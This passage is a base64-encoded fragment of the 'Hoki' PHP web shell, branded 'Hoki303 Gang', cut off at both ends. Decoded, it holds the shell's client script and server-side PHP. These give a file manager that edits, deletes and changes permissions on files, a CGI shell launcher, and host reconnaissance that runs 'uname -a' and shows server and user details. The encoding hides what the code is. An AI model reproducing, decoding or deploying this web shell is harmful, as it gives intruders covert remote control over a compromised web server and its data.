pLGhva2lfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNldFRoZW1lKCJhY2UvdGhlbWUvIitpKSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGhva2lfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGUucXVlcnlTZWxlY3Rvcigic2VsZWN0LmFjZS10aGVtZS1zZWxlY3RvciIpLnZhbHVlPWksZS5xdWVyeVNlbGVjdG9yQWxsKCIuYWNlLWNvbnRyb2xlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImFjZV9pZCIsInBocGV2YWwtIitvKX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvdXQoZnVuY3Rpb24oKXtob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX19ZnVuY3Rpb24gaW5zZXJ0VG9IaXN0b3J5KGUsYSx0LGkpe3ZhciBsPSIiO3QmJjAhPXQmJihsPXQpO3ZhciBvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO28uaW5uZXJIVE1MPSI8ZGl2IGlkPSciK2UrIicgY2xhc3M9J2hpc3RvcnknIG9uQ2xpY2s9J3Jlb3Blbih0aGlzKTsnPjxkaXYgY2xhc3M9J2VkaXRvci1pY29uJz4iK2xvYWRUeXBlKGEsaSxlKSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IithKyI8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdoaXN0b3J5LWNsb3NlJyBvbkNsaWNrPSdyZW1vdmVIaXN0b3J5KFwiIitlKyJcIik7Jz5YPC9kaXY+IixvLmNsYXNzTmFtZT0iZmlsZS1ob2xkZXIiK2wsby5hZGRFdmVudExpc3RlbmVyKCJtb3VzZW92ZXIiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3ZlciIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIxIn0pLG8uYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdXQiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3V0IiksdGhpcy5jaGlsZE5vZGVzWzFdLnN0eWxlLm9wYWNpdHk9IjAifSk7dmFyIHI9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJoaXN0b3J5LWxpc3QiKVswXTtyLmluc2VydEJlZm9yZShvLHIuZmlyc3RDaGlsZCl9ZnVuY3Rpb24gbG9hZFR5cGUoZSxhLHQpeyJub25lIj09YSYmX0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJjaGVja2ZpbGV0eXBlIikrIiZwYXRoPSIraG9raWI2NChlZGl0b3JfZmlsZXNbdF0ucHdkKSsiJmFyZz0iK2hva2liNjQoZWRpdG9yX2ZpbGVzW3RdLmZpbGUpLGZ1bmN0aW9uKGUpeyQodCkuaW5uZXJIVE1MPSI8ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShlZGl0b3JfZmlsZXNbdF0uZmlsZSxlLHQpKyI8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItZmlsZS1uYW1lJz4iK2VkaXRvcl9maWxlc1t0XS5maWxlKyI8L2Rpdj4iLGVkaXRvcl9maWxlc1t0XS50eXBlPWV9KTtpZigiZmlsZSI9PWEpe2E9KGE9ZS5zcGxpdCgiLiIpKVthLmxlbmd0aC0xXS50b0xvd2VyQ2FzZSgpOy0xPT1bImpzb24iLCJwcHQiLCJwcHR4IiwieGxzIiwieGxzeCIsIm1zaSIsImNvbmZpZyIsImNnaSIsInBtIiwiYyIsImNwcCIsImNzIiwiamF2YSIsImFzcHgiLCJhc3AiLCJkYiIsInR0ZiIsImVvdCIsIndvZmYiLCJ3b2ZmMiIsIndvZmYiLCJjb25mIiwibG9nIiwiYXBrIiwiY2FiIiwiYnoyIiwidGd6IiwiZG1nIiwiaXpvIiwiamFyIiwiN3oiLCJpc28iLCJyYXIiLCJiYXQiLCJzaCIsImhva2kiLCJneiIsInRhciIsInBocCIsInBocDQiLCJwaHA1IiwicGh0bWwiLCJodG1sIiwieGh0bWwiLCJzaHRtbCIsImh0bSIsInppcCIsInBuZyIsImpwZyIsImpwZWciLCJnaWYiLCJibXAiLCJpY28iLCJ0eHQiLCJqcyIsInJiIiwicHkiLCJ4bWwiLCJjc3MiLCJzcWwiLCJodGFjY2VzcyIsInBsIiwiaW5pIiwiZGxsIiwiZXhlIiwibXAzIiwibXA0IiwibTRhIiwibW92IiwiZmx2Iiwic3dmIiwibWt2IiwiYXZpIiwid212IiwibXBnIiwibXBlZyIsImRhdCIsInBkZiIsIjNncCIsImRvYyIsImRvY3giLCJkb2NtIl0uaW5kZXhPZihhKSYmKGE9Im5vdGZvdW5kIil9ZWxzZSBhPSJmb2xkZXIiO3JldHVybic8aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy97dHlwZX0iIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+Jy5yZXBsYWNlKCJ7dHlwZX0iLGErIi5wbmciKX1mdW5jdGlvbiB1cGRhdGVGaWxlRWRpdG9yKGUsYSl7dmFyIHQ9ImlkXyIrZSxpPSJpZF9jaG1vZGVfIitlLGw9ImlkX3JlbmFtZV8iK2Usbz0iaWRfdG91Y2hfIitlLHI9ImlkX2VkaXRfIitlLG49ImlkX2Rvd25sb2FkXyIrZSxkPSJpZF9kZWxldGVfIitlLHM9JCh0KS5nZXRBdHRyaWJ1dGUoImZ0eXBlIik7ImZvbGRlciI9PXMmJihzPSJkaXIiKSwiZmlsZSI9PXM/KCQodCkuaW5uZXJIVE1MPWEsJCh0KS5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIithKSwkKHQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdhdXRvJywnJywnJywnJywnZmlsZScpIiksJChyKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnZWRpdCcsJycsJycsJycsJyIrcysiJykiKSwkKG4pLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKSk6KCQodCkuaW5uZXJIVE1MPSI8Yj58ICIrYSsiIHw8L2I+IiwkKHQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzTWFuJywgJyIrY18rIi8iK2ErIicpIikpLCQoaSkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2NobW9kJywnJywnJywnJywnIitzKyInKSIpLCQobCkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ3JlbmFtZScsJycsJycsJycsJyIrcysiJykiKSwkKG8pLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCd0b3VjaCcsJycsJycsJycsJyIrcysiJykiKSwkKGQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKSwkKHQpLnNldEF0dHJpYnV0ZSgiZm5hbWUiLGEpfWZ1bmN0aW9uIHVwZGF0ZURpcnNFZGl0b3IoZSxhKXt2YXIgdD1kLm1mLmMudmFsdWUrIi8iLGk9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrYSsiLyIsbD1lZGl0b3JfZmlsZXNbZV0ucHdkKyIvIitlZGl0b3JfZmlsZXNbZV0uZmlsZSsiLyI7Zm9yKHZhciBvIGluIGk9aS5yZXBsYWNlKC9cL1wvL2csIi8iKSxsPWwucmVwbGFjZSgvXC9cLy9nLCIvIiksLTEhPSh0PXQucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGluaXREaXIodC5yZXBsYWNlKGksbCkpLGQubWYuYy52YWx1ZT10LnJlcGxhY2UoaSxsKSksZWRpdG9yX2ZpbGVzKXt2YXIgcj1lZGl0b3JfZmlsZXNbb10ucHdkKyIvIjstMSE9KHI9ci5yZXBsYWNlKC9cL1wvL2csIi8iKSkuc2VhcmNoKGkpJiYoZWRpdG9yX2ZpbGVzW29dLnB3ZD1yLnJlcGxhY2UoaSxsKSl9dXBkYXRlQ29va2llRWRpdG9yKCl9ZnVuY3Rpb24gdXBkYXRlQ29va2llRWRpdG9yKCl7c2V0Q29va2llKCJob2tpX2hpc3RvcnlfZmlsZXMiLGJ0b2EoSlNPTi5zdHJpbmdpZnkoZWRpdG9yX2ZpbGVzKSksMjAxMil9ZnVuY3Rpb24gc2V0RWRpdG9yVGl0bGUoZSxhKXtpZigib3V0Ij09YSYmIiIhPWVkaXRvcl9jdXJyZW50X2ZpbGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSIpO2U9bnVsbCE9dD90LmdldEF0dHJpYnV0ZSgib3B0X2lkIikucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8iLCJmaWxlXyIpOmVkaXRvcl9jdXJyZW50X2ZpbGV9ZWRpdG9yX2ZpbGVzW2VdJiYoZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJlZGl0b3ItcGF0aCIpWzBdLmlubmVySFRNTD0oZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKX1mdW5jdGlvbiByZW1vdmVIaXN0b3J5KGUpe2RlbGV0ZSBlZGl0b3JfZmlsZXNbZV0sJChlKSYmJChlKS5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoJChlKS5wYXJlbnROb2RlKTt2YXIgYT1kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZpbGVzdG9vbHMiKVswXTthJiZhLmdldEF0dHJpYnV0ZSgiZmlkIik9PWUmJihhLm91dGVySFRNTD0iIiksZWRpdG9yX2N1cnJlbnRfZmlsZT09ZSYmKGVkaXRvcl9jdXJyZW50X2ZpbGU9IiIpLHVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIGdldFJhbmRvbShlKXtmb3IodmFyIGE9IiIsdD0iMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiLGk9dm9pZCAwPT09ZT8yMDplO2k+MDstLWkpYSs9dFtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqdC5sZW5ndGgpXTtyZXR1cm4gYX1mdW5jdGlvbiByZW9wZW4oZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImlkIiksdD1lZGl0b3JfZmlsZXNbYV0ucHdkLGk9ZWRpdG9yX2ZpbGVzW2FdLmZpbGUsbD0iZWRpdG9yX3NvdXJjZV8iK2EucmVwbGFjZSgiZmlsZV8iLCIiKTtudWxsPT0kKGwpP2VkaXRvcihpLCJhdXRvIiwiIix0LGEpOmVkaXRvclRhYkNvbnRyb2xsZXIobCwhMCl9ZnVuY3Rpb24gY29weVRvQ2xpcGJvYXJkKGUpe2U9ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpO3ZhciBhPWhva2lfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi50b0pTT04oKTtob2tpX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3RBbGwoKSxob2tpX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5mb2N1cygpLGRvY3VtZW50LmV4ZWNDb21tYW5kKCJjb3B5IiksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0aW9uLmZyb21KU09OKGEpLGhva2lTaG93Tm90aWZpY2F0aW9uKCJ0ZXh0IGNvcGllZCIsIkVkaXRvciIpfWZ1bmN0aW9uIGVuY3J5cHQoZSxhKXtpZihudWxsPT1hfHxhLmxlbmd0aDw9MClyZXR1cm4gbnVsbDtlPWhva2liNjQoZSwhMCksYT1ob2tpYjY0KGEsITApO2Zvcih2YXIgdD0iIixpPSIiLGw9MDtsPGUubGVuZ3RoOylmb3IodmFyIG89MDtvPGEubGVuZ3RoJiYodD1lLmNoYXJDb2RlQXQobCleYS5jaGFyQ29kZUF0KG8pLGkrPVN0cmluZy5mcm9tQ2hhckNvZGUodCksISgrK2w+PWUubGVuZ3RoKSk7bysrKTtyZXR1cm4gaG9raWI2NChpLCEwKX1mdW5jdGlvbiByZWxvYWRTZXR0aW5nKGUpe3JldHVybiBob2tpbG9hZGVyKGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZCwiYmxvY2siKSxfQWpheChkLlVSTCwiYT0iK2hva2liNjQoInNldHRpbmdzIikrIiZob2tpMT0iK2hva2liNjQoZS5wcm90ZWN0LnZhbHVlKSsiJmhva2kyPSIraG9raWI2NChlLmxncGFnZS52YWx1ZSkrIiZob2tpMz0iK2hva2liNjQoZS51c2VybmFtZS52YWx1ZSkrIiZob2tpND0iK2hva2liNjQoZS5wYXNzd29yZC52YWx1ZSkrIiZob2tpNT0iK2hva2liNjQoIj4+IikrIiZob2tpNj0iK2hva2liNjQoZS5pY29uLnZhbHVlKSsiJmhva2k3PSIraG9raWI2NChlLnBvc3RfZW5jcnlwdC52YWx1ZSkrIiZob2tpOD0iK2hva2liNjQoIm1haW4iKSsiJmhva2k5PSIraG9raWI2NChlLmNnaV9hcGkudmFsdWUpKyImYz0iK2hva2liNjQoY18pKyImYWpheD0iK2hva2liNjQoInRydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcE9wVGlvbnMoYSxlKSxldmFsSlMoZSksaG9raWxvYWRlcihhLCJub25lIil9LCExLGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZCksaG9raV9iZWZvcmVfZG9fYWN0aW9uX2lkPSIiLDA9PWUuZS52YWx1ZSYmMT09ZS5wcm90ZWN0LnZhbHVlJiZzZXRUaW1lb3V0KCJsb2NhdGlvbi5yZWxvYWQoKSIsMWUzKSxlLnMudmFsdWUhPWUuaWNvbi52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksITF9ZnVuY3Rpb24gcmVsb2FkQ29sb3JzKGUpe3ZhciBhPXt9O3ZvaWQgMD09PWU/ZC5xdWVyeVNlbGVjdG9yQWxsKCIuY29sb3JzX2lucHV0IikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IikucmVwbGFjZSgiLiIsIiIpO2FbdF09ZS52YWx1ZX0pOmE9ZTt2YXIgdD0kKCJ1c2VfZGVmYXVsdF9jb2xvciIpLmNoZWNrZWQ/IjEiOiIwIjtfQWpheChkLlVSTCwiYT0iK2hva2liNjQoInNldHRpbmdzIikrIiZob2tpMT0iK2hva2liNjQoSlNPTi5zdHJpbmdpZnkoYSkpKyImaG9raTI9Iitob2tpYjY0KCI+PiIpKyImaG9raTM9Iitob2tpYjY0KHQpKyImaG9raTg9Iitob2tpYjY0KCJjb2xvciIpKyImYz0iK2hva2liNjQoY18pKyImYWpheD0iK2hva2liNjQoInRydWUiKSxmdW5jdGlvbihlKXtldmFsSlMoZSl9LCEwKX1mdW5jdGlvbiBob2tpYjY0KGUsYSl7cmV0dXJuIHZvaWQgMCE9PWF8fDA9PXBvc3RfZW5jcnlwdGlvbl9tb2RlP3dpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChlKSkpOmVuY3J5cHQoZSwiPD9waHAgZWNobyBfX0hPS0lfU0VDUkVUX0tFWV9fOyA/PiIpfWZ1bmN0aW9uIGV2YWxDc3MoZSl7dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3R5bGUiKTthLnN0eWxlU2hlZXQ/YS5zdHlsZVNoZWV0LmNzc1RleHQ9ZTphLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKGUpKSxkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYSl9ZnVuY3Rpb24gY29sb3JIYW5kbGVyS2V5KGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oYSl7Y29sb3JIYW5kbGVyKGUpfSwyMDApfWZ1bmN0aW9uIGNvbG9ySGFuZGxlcihlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksdD1lLmdldEF0dHJpYnV0ZSgibXVsdGkiKSxsPWEuaW5kZXhPZigiOmhvdmVyIik7aWYodCl7dmFyIG89SlNPTi5wYXJzZShhdG9iKHQpKSxyPSIiO2ZvcihpIGluIG8ubXVsdGlfc2VsZWN0b3Ipcis9aSsieyIrby5tdWx0aV9zZWxlY3RvcltpXS5yZXBsYWNlKC97Y29sb3J9L2csZS52YWx1ZSkrIn0iO2V2YWxDc3Mocil9LTE9PWx8fHQ/KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsIi5oZWFkZXJfdmFsdWVzIj09YSYmKGE9Ii5oZWFkZXIsLmhlYWRlcl92YWx1ZXMiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoYSkuZm9yRWFjaChmdW5jdGlvbihhKXthLnN0eWxlLmNvbG9yPWUudmFsdWV9KSk6KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsZXZhbENzcyhhKyJ7Y29sb3I6ICIrZS52YWx1ZSsiO30iKSl9ZnVuY3Rpb24gaW1wb3J0Q29uZmlnKGUpe3ZhciBhPWUudGFyZ2V0LHQ9bmV3IEZpbGVSZWFkZXI7dC5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgZT10LnJlc3VsdDt0cnl7cmVsb2FkQ29sb3JzKEpTT04ucGFyc2UoZSkpfWNhdGNoKGUpe2FsZXJ0KCJDb25maWcgaXMgaW52YWxpZC4uLiEiKX0kKCJpbXBvcnRGaWxlQnRuIikudmFsdWU9IiJ9LHQucmVhZEFzVGV4dChhLmZpbGVzWzBdKX1mdW5jdGlvbiBjaGVja0JveChlKXt2YXIgYT1ob2tpX2N1cnJlbnRfZm1faWQsdD1lLmNoZWNrZWQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZD10fSl9ZnVuY3Rpb24gcnVuY2dpKGUpe2lmKCQoImNnaWZyYW1lIikuc3R5bGUuaGVpZ2h0PSJ1bnNldCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyLW1pbmltaXplZCAubWluaW1pemVkLXRleHQiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsY2dpX2lzX21pbmltaXplZCYmY2dpX2xhbmc9PWUmJihzaG93RWRpdG9yKCJjZ2lsb2FkZXIiKSwwPT1waHBfdGVtcmluYWxfdXNpbmdfY2dpKSlyZXR1cm4hMTtwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSExLF9BamF4KGQuVVJMLCJhPSIraG9raWI2NCgiY2dpc2hlbGwiKSsiJmhva2kxPSIraG9raWI2NChlKSsiJmFqYXg9Iitob2tpYjY0KCJ0cnVlIiksZnVuY3Rpb24oYSl7ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLCQoImNnaWxvYWRlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtY29udGVudHMiKS5pbm5lckhUTUw9YSxjZ2lfbGFuZz1lLGNnaV9pc19taW5pbWl6ZWQmJigkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1oaWRlIiksc2V0VGltZW91dChmdW5jdGlvbigpeyQoImNnaWxvYWRlciIpLnJlbW92ZUF0dHJpYnV0ZSgiY2xhc3MiKSxpc19taW5pbWl6ZWQmJigkKCJlZGl0b3ItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiKX0sMWUzKSl9KX1FbGVtZW50LnByb3RvdHlwZS5hcHBlbmRBZnRlcj1mdW5jdGlvbihlKXtlLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHRoaXMsZS5uZXh0U2libGluZyl9Owo8L3NjcmlwdD4KPD9waHAgZWNobyI8Zm9ybSBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2RsRm9ybScgYWN0aW9uPScnIHRhcmdldD0nX2JsYW5rJyBtZXRob2Q9J3Bvc3QnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZGxmaWxlJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9Jyc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2ZpbGUnIHZhbHVlPScnPgo8L2Zvcm0+CjxpbnB1dCB0eXBlPSdmaWxlJyBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2ltcG9ydEZpbGVCdG4nIG9uY2hhbmdlPSdpbXBvcnRDb25maWcoZXZlbnQpOyc+CjxkaXYgaWQ9J2FfbG9hZGVyJz48aW1nIHNyYz0naHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIi5fX3Nob3dpY29uKCdsb2FkZXInKS4iJz48L2Rpdj4iOwokY21kX3VuYW1lID0gaG9raUV4KCJ1bmFtZSAtYSIsZmFsc2UsZmFsc2UpOwokdW5hbWUgPSBmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpID8gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSA6IChzdHJsZW4oJGNtZF91bmFtZSk+MD8kY21kX3VuYW1lOicoIHBocF91bmFtZSApIEZ1bmN0aW9uIERpc2FibGVkICEnKTsKaWYoJHVuYW1lPT0iKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhIil7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdPSJ0cnVlIjt9CmVjaG8gJwo8L2hlYWQ+Cjxib2R5IGJnY29sb3I9IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxkaXYgaWQ9InVwX2Jhcl9ob2xkZXIiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJ3aG9sZSI+Cjxmb3JtIG1ldGhvZD0icG9zdCIgbmFtZT0ibWYiIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4nOwpmb3IoJHM9MTskczw9MTA7JHMrKyl7CmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhva2knLiRzLiciPic7Cn0KZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCI+CjwvZm9ybT4KPGRpdiBpZD1cJ2hpZGRlbl9zaFwnPjxhIGNsYXNzPSJhbGVydF9ncmVlbiIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ij9raXNlcnlvdW5pIj48c3BhbiBzdHlsZT0iY29sb3I6IzQyZmY1OTsiPicuX19IT0tJX0NPREVfTkFNRV9fLic8L3NwYW4+PGJyPjxzbWFsbD5WZXJzaW9uOiA8c3BhbiBjbGFzcz0iaGlkZGVuX3NoZWxsX3ZlcnNpb24iPicuX19IT0tJX1ZFUlNJT05fXy4nPC9zcGFuPjwvc21hbGw+PC9hPjwvZGl2Pgo8ZGl2IGNsYXNzPSJoZWFkZXIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4KPHRyPgo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVuYW1lOjwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfdW5hbWUiPicuJHVuYW1lLic8L3NwYW4+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VyOjwvc3Bhbj48L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfdXNlcmlkIj4nLiAkdWlkIC4gJyBbICcgLiAkdXNlciAuICcgXSA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gR3JvdXA6IDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9ncm91cGlkIj4nIC4gJGdpZCAuICcgWyAnIC4gJGdyb3VwIC4gJyBdPC9zcGFuPiA8L3RkPgo8dGQgd2lkdGg9IjEyJSIgcm93c3Bhbj0iOCI+PGltZyBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9Ikhva2kzMDMgR2FuZyIgZHJhZ2dhYmxlPSJmYWxzZSIgc3JjPSJodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ28ucG5nIiAvPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+UEhQOjwvc3Bhbj48L3RkPgo8dGQ+PGI+Jy5AcGhwdmVyc2lvbigpLiAnIDwvYj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlIE1vZGU6ICcuJHNhZmVfbW9kZXMuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNlcnZlcklQOjwvc3Bhbj48L3RkPgo8dGQ+PGI+Jy4oIUAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXT8oZnVuY3Rpb25fZXhpc3RzKCJnZXRob3N0YnluYW1lIik/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOic/Pz8/Jyk6QCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdKS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+WW91ciBJUDo8L3NwYW4+PGI+ICcuQCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLic8L2I+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmU7ZGlzcGxheTpub25lOyIgY2xhc3M9ImZsYWctaG9sZGVyIj48L2Rpdj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RGF0ZVRpbWU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLmRhdGUoJ1ktbS1kIEg6aTpzJykuJzwvYj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvbWFpbnM6PC9zcGFuPjwvdGQ+Cjx0ZCB3aWR0aD0iNzYlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb21haW5zIj4nOwppZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CiRkMG1haW5zID0gX2hva2lfZmlsZ